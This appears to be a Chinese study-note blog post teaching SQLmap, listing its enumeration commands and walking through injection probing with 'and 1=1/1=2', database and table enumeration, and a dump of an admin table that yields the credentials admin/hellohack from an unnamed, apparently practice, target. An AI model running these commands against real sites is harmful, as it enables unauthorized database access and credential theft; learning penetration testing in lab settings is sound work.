使用SQLmap进行注入测试

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……

SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。

其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

涉及命令

1、检查注入并查询相关信息

sqlmap -u "url"

2、查询数据库

sqlmap -u "url" --dbs

3、根据库名查表名

sqlmap -u "url" -D 库名 --tables

4、根据表明查字段

sqlmap -u "url" -D 库名 -T 表名 --columns

5、根据字段查信息

sqlmap -u "url" -D 库名 -T 表名 -C 字段 --dump

步骤演示

首先,使用原始方法 and 1=1、and 1=2对页面进行sql注入判断:

当输入 and 1=1时,页面正常,and 1=2时,页面报错,基本断定存在sql注入。

再使用sqlmap进行渗透:

  1. 检查sql注入及相关信息

sqlmap -u “url”
使用SQLmap进行注入测试_第1张图片
扫描结果:
使用SQLmap进行注入测试_第2张图片
结果显示:

注入类型为“boolean-based blind(布尔型盲注类型)”,即可根据返回页面判断条件真假;

数据库是MySQL,版本是5.0.12及以上;

平台是Windows,后台是 php(5.4.45) + apache(2.4.23)

  1. 查询数据库

sqlmap -u “url” --dbs
使用SQLmap进行注入测试_第3张图片
查询结果:
使用SQLmap进行注入测试_第4张图片
结果显示:

该后台总共有3个数据库,其中information_schema表是MySQL的配置库,且不与理会,只需要对另外两个数据库进行探测。

  1. 根据库名查表信息

sqlmap -u “url” -D 库名 --tables
使用SQLmap进行注入测试_第5张图片
查询结果:
使用SQLmap进行注入测试_第6张图片
结果显示:

test库为空;

maoshe库中有4张表,继续对其中的admin表进行查询。

  1. 根据表名查字段

sqlmap -u “url” -D 库名 -T 表名 --columns
使用SQLmap进行注入测试_第7张图片
查询结果:
使用SQLmap进行注入测试_第8张图片
结果显示:

admin表中有3个字段:id、username、password

继续根据字段查询用户名和密码

  1. 根据字段查信息

sqlmap -u “url” -D 库名 -T 表名 -C 字段 --dump
使用SQLmap进行注入测试_第9张图片
查询结果
使用SQLmap进行注入测试_第10张图片
继续查password字段中的信息
使用SQLmap进行注入测试_第11张图片
查询结果:
使用SQLmap进行注入测试_第12张图片
结果显示:用户名为 admin,密码为 hellohack。

至此,注入结束,拿到账户信息。

学习整理,若有问题请指出

你可能感兴趣的:(Web攻防)